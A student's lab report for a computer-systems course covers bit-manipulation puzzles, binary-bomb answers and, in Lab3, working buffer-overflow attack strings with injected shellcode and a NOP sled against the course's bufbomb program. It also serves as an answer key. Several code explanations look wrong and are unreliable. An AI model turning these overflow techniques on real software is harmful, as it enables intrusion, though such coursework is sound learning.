計(jì)算機(jī)系統(tǒng)基礎(chǔ)實(shí)驗(yàn)總結(jié)2023(已滿績點(diǎn)4.1)_第1頁
計(jì)算機(jī)系統(tǒng)基礎(chǔ)實(shí)驗(yàn)總結(jié)2023(已滿績點(diǎn)4.1)_第2頁
計(jì)算機(jī)系統(tǒng)基礎(chǔ)實(shí)驗(yàn)總結(jié)2023(已滿績點(diǎn)4.1)_第3頁
計(jì)算機(jī)系統(tǒng)基礎(chǔ)實(shí)驗(yàn)總結(jié)2023(已滿績點(diǎn)4.1)_第4頁
計(jì)算機(jī)系統(tǒng)基礎(chǔ)實(shí)驗(yàn)總結(jié)2023(已滿績點(diǎn)4.1)_第5頁
已閱讀5頁,還剩19頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

計(jì)算機(jī)系統(tǒng)基礎(chǔ)實(shí)驗(yàn)總結(jié)計(jì)算機(jī)學(xué)院計(jì)算機(jī)學(xué)院計(jì)算機(jī)類院系:學(xué)號:姓名:成績:LAB1實(shí)驗(yàn)概述Lab1數(shù)據(jù)表示,需要我們在32位Linux虛擬機(jī)上使用有限種類的運(yùn)算符(按位取反,邏輯與,或,非等),并盡可能的精簡步驟來補(bǔ)充bits.c中的函數(shù)內(nèi)容,以實(shí)現(xiàn)規(guī)定的函數(shù)功能。函數(shù)補(bǔ)充完成后可輸入特定指令提交評閱。bits.c中的函數(shù)分為位操作函數(shù),補(bǔ)碼運(yùn)算函數(shù),浮點(diǎn)數(shù)表示函數(shù)幾類,完成實(shí)驗(yàn)以掌握各種數(shù)據(jù)類型在計(jì)算機(jī)中的表示方法,與C語言數(shù)據(jù)類型的位級表示及操作。實(shí)驗(yàn)收獲總結(jié)在對lab1中十五個(gè)位運(yùn)算函數(shù)的補(bǔ)充過程中,我初步了解了Linux系統(tǒng)的一些命令和操作,也加深了位的表示,二進(jìn)制補(bǔ)碼運(yùn)算,浮點(diǎn)數(shù)IEEE754表示等方面的理解。這次試驗(yàn)對我的理論課學(xué)習(xí)有很大幫助,更引起了我在學(xué)習(xí)理論與實(shí)驗(yàn)課的興趣。在之后的實(shí)驗(yàn)和學(xué)習(xí)中我希望能學(xué)習(xí)到更多的有關(guān)計(jì)算機(jī)系統(tǒng)的知識并加以實(shí)踐應(yīng)用。具體題目分析bitOr(只利用~和&操作,將數(shù)x和y相或)括號內(nèi)為題目翻譯思路:由德摩根定律可知,取或,等價(jià)于將兩個(gè)數(shù)的取反值~x,~y相與后,再取反。代碼:intbitOr(intx,inty){return~((~x)&(~y));}evenBits(返回值為所有位均是1的數(shù))思路:所有位均為一,即0x55555555,即將0x55左移八位,再左移十六位。代碼:intevenBits(void){inta=0x55<<8|0x55;returna<<16|a;}isTmin(判斷一個(gè)數(shù)x是否是int型最小值

)思路:int型最小值(補(bǔ)碼是0x80000000)有性質(zhì):tmin+tmin=0.所以tmin=~tmin+1.但是要特判去掉同樣滿足的0。代碼:intisTmin(intx){return!(x+x)&!!(x);}4.allEvenBits(判斷一個(gè)二進(jìn)制數(shù)偶數(shù)位是否全為1)思路:若一個(gè)二進(jìn)制數(shù)偶數(shù)位為1,奇數(shù)位為0,則這個(gè)數(shù)為0x55555555。先將x=x&0x55555555,將這個(gè)數(shù)奇數(shù)為變?yōu)?,之后x^0x55555555判斷該數(shù)是否為0x55555555。代碼:intallEvenBits(intx){inty=0x55;y|=y<<8;y|=y<<16;x&=y;return!(x^y);}5.anyEvenBit(判斷一個(gè)二進(jìn)制數(shù)任意偶數(shù)位是否有1)思路:判斷偶數(shù)位是否含有1,只需要將所有偶數(shù)位與1相與,奇數(shù)位與0相與。若結(jié)果為0,則偶數(shù)位沒有1。代碼:intanyEvenBit(intx){intmask=0x55|0x55<<8;mask=mask|mask<<16;return!!(x&mask);}6.fitsBits(判斷x是否能用n位補(bǔ)碼表示)思路:判斷其[n+1,3]區(qū)間上的數(shù)是否全為1,或0,即可。所有數(shù)位都為0,即判斷!x是否為1。判斷一個(gè)數(shù)都為1,只需要將這個(gè)數(shù)取反~x,判斷取反之后是否為0便可。代碼:intfitsBits(intx,intn){inta=n+31;intb=x>>31;x=x>>a;x=x^b;return!x;}7.float_neg(浮點(diǎn)數(shù)取反)思路:取反即可,但需判斷是否為NaN(if判斷)。若是NaN數(shù),返回原值,否則返回原數(shù)符號位取反對應(yīng)的數(shù)代碼:unsignedfloat_neg(unsigneduf){inttmp=0,ret=0;ret=uf^0x80000000;//signreversetmp=uf&0x7fffffff;//if(tmp>0x7f800000)//NaNret=uf;returnret;}8.isAsciiDigit(判斷x是否可以是表示數(shù)字的Ascii碼)思路:判斷x是否滿足0x30<=x<=0x39,若滿足,返回1。代碼:intisAsciiDigit(intx){intis_upper=!((x&~0x0F)^0x30);intis_lower=!((x&0x0F)+0x06&0xF0);returnis_upper&is_lower;}9.isLess(判斷x<y)思路:x和y的符號位不同:如果x的符號位為1則滿足;x和y的符號位相同:如果y-x的符號位為0則滿足(此時(shí)可能相等)。代碼:intisLess(intx,inty){intnot_y=~y;return((((x+not_y+1)&(x^not_y))|(x¬_y))>>0x1F)&1;}10.multFiveEighths(計(jì)算x*5/8)思路:x左移二位加x即為乘五,再右移三位即為除以八。代碼:intmultFiveEighths(intx){x=x+(x<<2);return(x+(x>>31&7))>>3;}11.replaceByte(用字節(jié)數(shù)c來代替n中第x字節(jié)數(shù))思路:首先去除x的第n字節(jié)數(shù),與~(0xff<<(n*8))相與,然后與c<<(n*8)相或。代碼:intreplaceByte(intx,intn,intc){intmask_=0xff<<(n<<3);c<<=(n<<3);return(x&(~mask_))|c;}12.bitParity(若x中含有奇數(shù)個(gè)0返回1,偶數(shù)個(gè)0返回0)思路:偶數(shù)與偶數(shù)之差為偶數(shù),偶數(shù)與奇數(shù)之差為奇數(shù)。所以32位二進(jìn)制數(shù)中1和0的個(gè)數(shù)與奇偶性相同。將32位二進(jìn)制中所有數(shù)字進(jìn)行異或計(jì)算。若有偶數(shù)個(gè)1則異或結(jié)果為0,反之。代碼:intbitParity(intx){x^=x>>16;x^=x>>8;x^=x>>4;x^=x>>2;x^=x>>1;returnx&1;}13.float_half思路:先判斷是否為NaN數(shù)階碼只有最后一位為1,除2之后要變?yōu)榉且?guī)格化數(shù),按非規(guī)格化數(shù)處理,即處理階碼下溢情況階碼全0,那要么是0,要么是非規(guī)格化數(shù),直接右移一位同時(shí)保留符號位規(guī)格化數(shù),正常處理,階碼減一代碼:unsignedfloat_half(unsigneduf){unsigneds=uf&0x80000000;unsignedexp=uf&0x7f800000;intlsb=((uf&3)==3);if(exp==0x7f800000)returnuf;if(exp<=0x800000)returns|(((uf^s)+lsb)>>1);if(exp)return(uf-0x800000);}14.ilog2思路:以第一步為例,x>>16并且兩次邏輯非,那么若x>>16大于零則得到1,說明對應(yīng)log(x)>=4,于是1<<4代碼:intilog2(intx){intbitsNumber=0;bitsNumber=(!!(x>>16))<<4;bitsNumber=bitsNumber+((!!(x>>(bitsNumber+8)))<<3);bitsNumber=bitsNumber+((!!(x>>(bitsNumber+4)))<<2);bitsNumber=bitsNumber+((!!(x>>(bitsNumber+2)))<<1);bitsNumber=bitsNumber+(!!(x>>(bitsNumber+1)));returnbitsNumber;}15.sm2tc(給出原碼表示x,返回其對應(yīng)的補(bǔ)碼表示)思路:右移31位,將結(jié)果存為t。如果原數(shù)為正數(shù),那么t此時(shí)全為0。而正數(shù)的補(bǔ)碼不用改變;否則,t全為1(負(fù)數(shù)右移補(bǔ)1)。負(fù)數(shù)補(bǔ)碼,取反+1,符號位變?yōu)?。代碼:intsm2tc(intx){intsign=x>>31;return(x^sign)+(((1<<31)+1)&sign);}Lab1完成?。?!LAB2實(shí)驗(yàn)概述Lab2二進(jìn)制炸彈需要我們在32位linux虛擬機(jī)上用AT&T匯編語言在包含6個(gè)階段和一個(gè)秘密階段的可執(zhí)行程序BinaryBombs中完成六個(gè)階段的實(shí)驗(yàn)。各階段要求分別輸入一個(gè)字符串,若輸入符合程序預(yù)期則通過,否則爆炸,爆炸會扣除一定分?jǐn)?shù)(若擔(dān)心爆炸次數(shù)過多,可在爆炸函數(shù)前設(shè)斷點(diǎn),防止爆炸)。通過將可執(zhí)行程序反匯編并用動(dòng)態(tài)分析調(diào)試的方法可以得知匯編代碼的具體功能,并得出一個(gè)字符串作為答案。得出答案后將答案逐行輸入文件中,后可輸入特定指令提交評閱。實(shí)驗(yàn)收獲總結(jié)在對lab2的分析調(diào)試中我對機(jī)器級程序原理的理解,以及通用調(diào)試器和逆向工程技能得到了提升,掌握了基本的gdb調(diào)試命令和ddd的一些使用方法,AT&T語言的解讀能力也有了顯著提升。完成了lab2的六個(gè)部分,計(jì)算機(jī)基礎(chǔ)實(shí)驗(yàn)課程也已完成了一半,我對課程的學(xué)習(xí)也進(jìn)入了更深層次的階段,對接下來的部分有了期待和自信。具體題目分析phase_1

本題分析:首先查看bomb.c,了解大概的程序。再輸入命令“objdump–dbomb>asm.txt”,對bomb進(jìn)行反匯編并將匯編代碼輸出到asm.txt中打開反匯編代碼,找到phase_1。根據(jù)strings_not_equal函數(shù)可以看出,該函數(shù)為判斷字符串是否相等的函數(shù)。如果輸入的字符串和%eax里面的字符不相同,則該炸彈爆炸,所以我們通過執(zhí)行:gdbbomb,查看0x804a2e0處存儲的數(shù)據(jù)內(nèi)容。用x/1s0x804a2e0查看其中的數(shù)據(jù),即可得到該階段的密碼。具體操作如圖所示可得出答案為:“WehavetostandwithourNorthKoreanallies.”新建一個(gè)文本文件,輸入第一關(guān)的答案運(yùn)行bomb,提交phase_1答案,正確。phase_2本題分析首先分析反匯編代碼,發(fā)現(xiàn)8048c00: e8bf070000 call80493c4<read_six_numbers>可知本題要求輸入六個(gè)數(shù)字組成的字符串。由8048c08: 837ddc00 cmpl$0x0,-0x24(%ebp)8048c0c: 7905 jns8048c13<phase_2+0x2c>可知第一個(gè)數(shù)要大于零,由8048c13: bb01000000 mov$0x1,%ebx8048c18: 89d8 mov%ebx,%eax8048c1a: 03449dd8 add-0x28(%ebp,%ebx,4),%eax8048c1e: 39449ddc cmp%eax,-0x24(%ebp,%ebx,4)可知第二個(gè)數(shù)要比第一個(gè)數(shù)大一,否則爆炸,照此繼續(xù)分析,可知第三個(gè)數(shù)比第二個(gè)數(shù)大二,第四個(gè)數(shù)比前一個(gè)數(shù)大三以此類推,可得六個(gè)數(shù)。故答案為:“12471116”在文本文件的下一行輸入本關(guān)的答案運(yùn)行bomb,提交phase_2答案,正確。phase_3首先分析反匯編代碼由8048c63: 50 push%eax8048c64: 6836a30408 push$0x804a336查看本題要求輸入的數(shù)據(jù)類型為“數(shù)字字符數(shù)字”由8048c7e: 837dec07 cmpl$0x7,-0x14(%ebp)8048c82: 0f87ef000000 ja8048d77<phase_3+0x130>可得的第一個(gè)數(shù)的要求是小于7,大于7爆炸下面在調(diào)試時(shí)查看8048c8b: ff248540a30408 jmp*0x804a340(,%eax,4)發(fā)現(xiàn)是一個(gè)switch語句,對應(yīng)著第一個(gè)輸入的數(shù)(0-7),如圖若第一個(gè)數(shù)為0,則跳到0x8048c928048c92: b873000000 mov$0x73,%eax8048c97: 817df0b3000000 cmpl$0xb3,-0x10(%ebp)8048c9e: 0f84dd000000 je8048d81<phase_3+0x13a>8048ca4: e8db060000 call8049384<explode_bomb>分析可知若滿足條件跳轉(zhuǎn)到8048d81,否則爆炸8048d81: 3a45eb cmp-0x15(%ebp),%al8048d84: 7405 je8048d8b<phase_3+0x144>8048d86: e8f9050000 call8049384<explode_bomb>分析可得第二個(gè)字符的ascll碼值同理轉(zhuǎn)到8048d8b8048d8b: 8b45f4 mov-0xc(%ebp),%eax8048d8e: 65330514000000 xor%gs:0x14,%eax8048d95: 7405 je8048d9c<phase_3+0x155>8048d97: e834faffff call80487d0<__stack_chk_fail@plt>本題結(jié)束,得知若第一個(gè)數(shù)輸入0,下兩個(gè)是s179輸入其他小于7的數(shù)也可得出正確答案,分析方法同理。若擔(dān)心分析有誤導(dǎo)致爆炸次數(shù)過多,可在爆炸函數(shù)前設(shè)斷點(diǎn),防止爆炸。故答案為:“0s179”在文本文件的下一行輸入本關(guān)的答案運(yùn)行bomb,提交phase_3答案,正確。phase_4在分析函數(shù)func4之前,先查看%eax里面的值,同樣可以看出,該階段的密碼仍為兩個(gè)int類型的數(shù)據(jù),若不是兩個(gè)數(shù),爆炸。8048e6c: 50 push%eax8048e6d: 68b5a50408 push$0x804a5b5如圖在分析phase_4可知:第一個(gè)輸入的數(shù)作為func4的參數(shù)。接下來分析什么參數(shù)答案能使函數(shù)跳出遞歸即可由分析函數(shù)內(nèi)容:08048d9e<func4>:8048d9e: 55 push%ebp8048d9f: 89e5 mov%esp,%ebp8048da1: 57 push%edi8048da2: 56 push%esi8048da3: 53 push%ebx……………….和嘗試運(yùn)行(采取防爆炸措施)可知當(dāng)輸入第一個(gè)字符為5,第二個(gè)為15時(shí)函數(shù)跳出遞歸故答案為:“5115”在文本文件的下一行輸入本關(guān)的答案運(yùn)行bomb,提交phase_4答案,正確。phase_5先查看%eax里面的值,同樣可以看出,該階段的密碼仍為兩個(gè)int類型的數(shù)據(jù),若不是兩個(gè)數(shù),爆炸。(和大多數(shù)人的不一樣)經(jīng)分析8048e7a: 83c410 add$0x10,%esp8048e7d: 83f801 cmp$0x1,%eax8048e80: 7f05 jg8048e87<phase_5+0x33>8048e82: e8fd040000 call8049384<explode_bomb>8048e87: 8b45ec mov-0x14(%ebp),%eax8048e8a: 83e00f and$0xf,%eax8048e8d: 8945ec mov%eax,-0x14(%ebp)8048e90: 83f80f cmp$0xf,%eax8048e93: 742c je8048ec1<phase_5+0x6d>8048e95: b900000000 mov$0x0,%ecx8048e9a: ba00000000 mov$0x0,%edx8048e9f: 83c201 add$0x1,%edx8048ea2: 8b048560a30408 mov0x804a360(,%eax,4),%eax8048ea9: 01c1 add%eax,%ecx8048eab: 83f80f cmp$0xf,%eax8048eae: 75ef jne8048e9f<phase_5+0x4b>8048eb0: c745ec0f000000 movl$0xf,-0x14(%ebp)8048eb7: 83fa0f cmp$0xf,%edx8048eba: 7505 jne8048ec1<phase_5+0x6d>8048ebc: 3b4df0 cmp-0x10(%ebp),%ecx由此可知,本題應(yīng)該是一個(gè)循環(huán),這道題包含一個(gè)數(shù)組,每次循環(huán)取出數(shù)組中的一個(gè)值累加存儲到%ecx中,最后一次取出的值應(yīng)該是15,接著把%edx與15作比較,不相等則爆炸,反之,執(zhí)行后續(xù)代碼,由此可見循環(huán)需要進(jìn)行15次,加上輸入?yún)?shù)的時(shí)候進(jìn)行了一次循環(huán),所以,總共取了16次數(shù)組的值。那么我們打印出數(shù)組連續(xù)的16位(我試了多打出幾位,發(fā)現(xiàn)溢出了,說明取16次值是正確的)只需要看前16個(gè)數(shù)又因?yàn)榈诙€(gè)數(shù)為在數(shù)組里取到的值的累加值,所以數(shù)2為:12+3+7+11+13+9+4+8+0+10+1+2+14+6+15=115嘗試答案“5115”在文本文件的下一行輸入本關(guān)的答案運(yùn)行bomb,提交phase_5答案,正確phase_6首先看代碼,發(fā)現(xiàn)出現(xiàn)過的readsixnumber函數(shù)8048ef3: e8cc040000 call80493c4<read_six_numbers>可知本題要求輸入六個(gè)數(shù)。由8048f04: 83e801 sub$0x1,%eax8048f07: 83f805 cmp$0x5,%eax8048f0a: 7605 jbe8048f11<phase_6+0x38>8048f0c: e873040000 call8049384<explode_bomb>8048f11: 83c601 add$0x1,%esi8048f14: 83fe06 cmp$0x6,%esi8048f17: 7433 je8048f4c<phase_6+0x73>這一部分代碼可知參數(shù)要小于等于6,第二個(gè)數(shù)和第一個(gè)數(shù)不相同,第三個(gè)數(shù)和第一,二個(gè)數(shù)不相同……可以推出讀取到的六個(gè)數(shù)之間不相等且都小于等于6。也就是說這六個(gè)數(shù)是1,2,3,4,5,6的一種排列。接下來確定它們的順序。接著查看后續(xù)代碼,分析以后可以得到,此段代碼主要實(shí)現(xiàn)把一個(gè)單鏈表的節(jié)點(diǎn)信息根據(jù)輸入?yún)?shù)的值提取出來存儲,也就是按照一定的順序?qū)π碌逆湵淼牡谝粋€(gè)節(jié)點(diǎn)的值和第二個(gè)結(jié)點(diǎn)的值作了比較,得出第一個(gè)節(jié)點(diǎn)的值大于等于第二個(gè)節(jié)點(diǎn)的值)把鏈表各個(gè)節(jié)點(diǎn)的地址存儲在棧幀中,接下來的匯編代碼則是根據(jù)上一步得到的降序排序得到的節(jié)點(diǎn)地址信息把鏈表恢復(fù)的這么一個(gè)過程。所以,只要能得到存儲的這個(gè)鏈表存儲的數(shù)據(jù)得出即可以推出輸入的六個(gè)參數(shù)的順序。操作如圖:將第一個(gè)數(shù)按降序排列得到順序624315故答案為:“624315”在文本文件的下一行輸入本關(guān)的答案運(yùn)行bomb,提交phase_6答案,正確。六個(gè)題均完成后答案文本為Lab2完成?。?!LAB3實(shí)驗(yàn)概述Lab3緩沖區(qū)溢出攻擊需要我們在32位linux虛擬機(jī)上用AT&T匯編語言對五個(gè)目標(biāo)程序?qū)嵤┚彌_區(qū)溢出攻擊,通過造成緩沖區(qū)溢出來破壞目標(biāo)程序的棧幀結(jié)構(gòu),繼而執(zhí)行一些原來程序中沒有的行為。lab3要我們修改一個(gè)正在運(yùn)行程序的stack以達(dá)到預(yù)期的目的。具體的修改方式是:程序定義了一個(gè)局部C風(fēng)格字符串變量,注意局部變量是放在stack上面的,所以當(dāng)初始化這個(gè)字符串為用戶輸入,而又沒有邊界檢查的話,就會緩沖區(qū)溢出,那么就會破壞這個(gè)函數(shù)棧,繼而執(zhí)行一些原本程序沒有的東西。這關(guān)需要我們使用objdump來反匯編目標(biāo)程序,使用gdb單步跟蹤調(diào)試機(jī)器代碼,查看相關(guān)內(nèi)存及寄存器內(nèi)容,也需要我們掌握簡單的IA32匯編程序編寫方法。得出答案后可輸入特定指令提交評閱。實(shí)驗(yàn)收獲總結(jié)在做目的位構(gòu)造相應(yīng)的攻擊字符串,對沒有緩沖區(qū)溢出保護(hù)的目標(biāo)程序?qū)嵤┚彌_區(qū)溢出攻擊從而跳轉(zhuǎn)到新的進(jìn)程的lab3實(shí)驗(yàn)中,我用objdump來反匯編目標(biāo)程序,使用gdb單步跟蹤調(diào)試機(jī)器代碼,查看相關(guān)內(nèi)存及寄存器內(nèi)容來完成題目,在此過程中,我加深了對IA-32函數(shù)調(diào)用規(guī)則和棧幀結(jié)構(gòu)的理解,也對攻擊簡單的程序的方法有了一定的了解與認(rèn)識。也意識到要讓自己的代碼避免緩沖區(qū)溢出的問題。課程已完成多半,在實(shí)踐的過程中我對理論課程第三單元的學(xué)習(xí)也進(jìn)入了更深層次的理解,也對最后的一部分實(shí)驗(yàn)有了期待和自信。具體題目分析題目1:Smoke1.攻擊原理:利用getbuf函數(shù)不檢查所讀取的字符串的長度的漏洞來對可執(zhí)行程序bufbomb進(jìn)行攻擊。攻擊字符串把smoke函數(shù)的地址寫入返回地址的位置,當(dāng)從getbuf函數(shù)返回時(shí),就會調(diào)用smoke函數(shù)。2.思路做法:首先用objdump指令反匯編得到所需要的bufbomb的匯編語言文本。由80491c7: 8d45d8 lea-0x28(%ebp),%eax80491ca: 50 push%eax80491cb: e8d6faffff call8048ca6<Gets>80491d0: b801000000 mov$0x1,%eax可知位于<0x80491c7>地址處代碼為預(yù)讀的字符串在棧幀創(chuàng)建了0x28)字節(jié)的空間。為了覆蓋被存在返回地址上的值,我們需要讀入超過系統(tǒng)默認(rèn)40字節(jié)大小的字符串。下面要構(gòu)造0x28+4(ebp)+4(返回地址)=48字節(jié)長度的字節(jié)碼就可以將返回地址覆蓋,最后四個(gè)字節(jié)的內(nèi)容放smoke函數(shù)的地址,前面44個(gè)字節(jié)任意。在bufbomb的反匯編代碼中可找到smoke函數(shù),可知其地址為de8b0408。所以答案就是0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de8b0408(小端法)輸入指令提交,正確。題目2:Fizz攻擊原理:構(gòu)造攻擊字符串作為目標(biāo)程序輸入,造成緩沖區(qū)溢出,使bufbomb調(diào)用fizz函數(shù),并將cookie值作為參數(shù)傳遞給在bufbomb中已經(jīng)定義的fizz函數(shù)。和上一題的區(qū)別是函數(shù)fizz()且該函數(shù)有一個(gè)參數(shù)(每個(gè)人不同的cookie)。2.思路做法:由之前反匯編的匯編代碼可以找到fizz函數(shù)的地址:08048c06<fizz>:由fizz中的8048c0c: 8b4508 mov0x8(%ebp),%eax8048c0f: 3b0540d10408 cmp0x804d140,%eax8048c15: 7521 jne8048c38<fizz+0x32>可知其中0x8(%ebp)就是函數(shù)的參數(shù),內(nèi)存地址0x804d140就是放cookie的位置。同上一關(guān)一樣,先用fizz函數(shù)地址覆蓋掉getbuf返回地址,并且要將fizz函數(shù)的返回地址覆蓋掉,再用cookie覆蓋掉上面的參數(shù)。這樣就可以跳轉(zhuǎn)到fizz函數(shù),并且在跳轉(zhuǎn)后自己取到cookie作為參數(shù),fizz函數(shù)的返回地址可以用任意四個(gè)字節(jié)的數(shù)覆蓋。故答案為0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000068c040800000000a760a64f輸入指令提交,正確。題目3:Bang攻擊原理構(gòu)造攻擊字符串,造成緩沖區(qū)溢出,使目標(biāo)程序能夠執(zhí)行bang函數(shù);并且要篡改全局變量global_value為cookie值。但全局變量并不存放在棧中,前面兩題的方法只能修改棧中的內(nèi)容,無法修改全局變量的內(nèi)容。故需要先構(gòu)建一段惡意代碼,修改全局變量的值,首先執(zhí)行這段惡意代碼,然后再執(zhí)行bang函數(shù)。思路做法先找到全局變量的位置:在bang函數(shù)里看到有兩個(gè)內(nèi)存地址,正好和源程序里的判斷相等對應(yīng)8048c5b: a138d10408 mov0x804d138,%eax8048c60: 3b0540d10408 cmp0x804d140,%eax判斷0x804d138和0x804d140那一個(gè)是全局變量?在getbuf函數(shù)設(shè)斷點(diǎn),運(yùn)行,查看一下兩個(gè)地址的值可知0x804d138是全局變量。于是惡意匯編代碼如下:movl$0x4fa660a7,0x804d138pushl$0x08048c55ret將惡意代碼保存到擴(kuò)展名為.s的匯編代碼文件,然后用gcc–m32–c編譯成.o可重定位目標(biāo)文件,然后objdump–d反編譯出機(jī)器碼。操作如圖還需要找到輸入字符串存放的位置作為第一次ret指令的目標(biāo)位置,用gdb調(diào)試,在callgets之前設(shè)置斷點(diǎn)來查看eax寄存器中的內(nèi)容,查看eax的值,分析getbuf()申請的緩沖區(qū)首地址為<0x55683aa8>。將指令代碼抄入攻擊文件,故答案為c70538d10408a760a64f68558c0408c300000000000000000000000000000000000000000000000000000000a83a6855輸入指令提交,正確。題目四:Boom攻擊原理構(gòu)造攻擊字符串,使得getbuf都能將正確的cookie值返回給test函數(shù),。設(shè)置返回值也就是更改eax的值,可以用mov指令設(shè)置eax存的為cookie值。更改完要進(jìn)入test函數(shù)繼續(xù)執(zhí)行下面的指令將這個(gè)地址壓棧。思路做法首先構(gòu)造攻擊字符串,使得getbuf都能將正確的cookie值返回給test函數(shù),而不是返回值1。設(shè)置返回值也就是更改eax的值,可以用mov指令設(shè)置eax存的為cookie值。由8048d6b: e851040000 call80491c1<getbuf>8048d70: 89c3 mov%eax,%ebx可以知道在test函數(shù)中g(shù)etbuf()在<0x08048d6b>被執(zhí)行因此正確的跳轉(zhuǎn)地址為<0x08048d70>另外,要還原棧幀,我們必須知道在調(diào)用getbuf()之前的原始ebp的值,這里使用gdb調(diào)試來獲取,在<0x08048d6b>設(shè)置斷點(diǎn),然后查看進(jìn)入getbuf之前的%ebp寄存器值。故編寫代碼如下movl$0x4fa660a7,%eax//將返回值修改為cookiepush$0x08048d70//將要執(zhí)行的指令的地址壓入返回地址ret用同上一關(guān)一樣的方法:將惡意代碼保存到擴(kuò)展名為.s的匯編代碼文件,然后用gcc–m32–c編譯成.o可重定位目標(biāo)文件,然后objdump–d反編譯出機(jī)器碼。操作如圖,得到字節(jié)碼如下:接下來要恢復(fù)ebp的值,先得到ebp的舊值。用gdb調(diào)試:在getbuf第一行設(shè)置斷點(diǎn)。查看ebp的值。用這個(gè)值覆蓋ebp值。ebp值在返回地址的低方位,放在返回地址前。答案為:b8a760a64f68708d0408c30000000000000000000000000000000000000000000000000000000000f03a6855a83a6855輸入指令提交,正確。題目5Nitro攻擊原理用同一個(gè)攻擊字符串,執(zhí)行g(shù)etubufn函數(shù)5次,使getbufn函數(shù)每次都把cookie值返回給testn函數(shù)。題目的棧地址是動(dòng)態(tài)的,每次都不一樣,bufbomb會連續(xù)要輸入5次字符串,每次都調(diào)用getbufn(),每次的棧地址都不一樣,可以使用匯編指令nop(機(jī)器代碼:90)填充輸入字符串,這樣一來在一定范圍內(nèi)無論在哪里進(jìn)入我們的攻擊程序執(zhí)行指令最終都會滑到攻擊代碼。思路做法題目的棧地址是動(dòng)態(tài)的,每次都不一樣。雖然棧的初始地址不同,但會在一些范圍里浮動(dòng),所以我們需要把我們的代碼填在512字節(jié)的最后幾個(gè)字節(jié)里,并且前面全面的空間都填上nop(編碼為0x90)。ebp是隨機(jī)的,但是ebp相對esp是絕對的,根據(jù)08048dd1<testn>:8048dd1: 55 push%ebp8048dd2: 89e5 mov%esp,%ebp8048dd4: 53 push%ebx8048dd5: 83ec14 sub$0x14,%esp8048dd8: e864ffffff call8048d41<uniqueval>8048ddd: 8945f4 mov%eax,-0xc(%ebp)8048de0: e8f2030000 call80491d7<getbufn>8048de5: 89c3 mov%eax,%ebx8048de7: e855ffffff call8048d41<uniqueval>8048dec: 8b55f4 mov-0xc(%ebp),%edx8048def: 39d0 cmp%edx,%eax8048df1: 7412 je8048e05<testn+0x34>8048df3: 83ec0c sub$0xc,%esp8048df6: 68d0a10408 push$0x804a1d08048dfb: e890faffff call8048890<puts@plt>8048e00: 83c410 add$0x10,%esp8048e03: eb3c jmp8048e41<testn+0x70>8048e05: 3b1d40d10408 cmp0x804d140,%ebx8048e0b: 7521 jne8048e2e<testn+0x5d>8048e0d: 83ec04 sub$0x4,%esp得,雖然ebp的值每次變化,無法直接賦值,但是在getbufn()程序中ebp和esp值差是一定的。綜合得出惡意代碼為:movl$0x4fa660a7,%eaxlea0x28(%esp),%ebppush$0x8048de5ret用同上一關(guān)一樣的方法:將惡意代碼保存到擴(kuò)展名為.s的匯編代碼文件,然后用gcc–m32–c編譯成.o可重定位目標(biāo)文件,然后objdump–d反編譯出機(jī)器碼。操作如圖,得到字節(jié)碼如下:再由getbufn函數(shù):080491d7<getbufn>:80491d7: 55 push%ebp80491d8: 89e5 mov%esp,%ebp80491da: 81ec14020000 sub$0x214,%esp80491e0: 8d85f8fdffff lea-0x208(%ebp),%eax80491e6: 50 push%eax80491e7: e8bafaffff call8048ca6<Gets>80491ec: b801000000 mov$0x1,%eax要填入0x208+4+4=528字節(jié)。因?yàn)殡S機(jī),不知道程序會跳到哪里,所以把惡意代碼放到最后面,用nop滑行。所以,前面塞滿90,最后面寫上惡意代碼程序,以及最后要跳的位置。最后尋找要跳的地址:由于隨機(jī)化,buf首地址不確定。用gdb調(diào)試:如此這樣五次這樣獲得了5個(gè)buf起始地址。取最高地址0x556838e8作為返回地址,這樣就會一路滑行到惡意代碼,執(zhí)行惡意代碼。答案為:9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090b8a760a64f8d6c241868e58d0408c3e8386855輸入指令提交,正確。Lab3完成?。?!LAB4實(shí)驗(yàn)概述Lab4ELF與鏈接:修改phase[n].o文件,使其與main..o文件鏈接,使得可執(zhí)行文件實(shí)現(xiàn)指定的行為(輸出個(gè)人的學(xué)號)。該實(shí)驗(yàn)分為五個(gè)階段,每個(gè)階段考察ELF文件組成與程序鏈接過程的不同方面知識:階段1:全局變量階段,2:指令階段,3:符號解

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論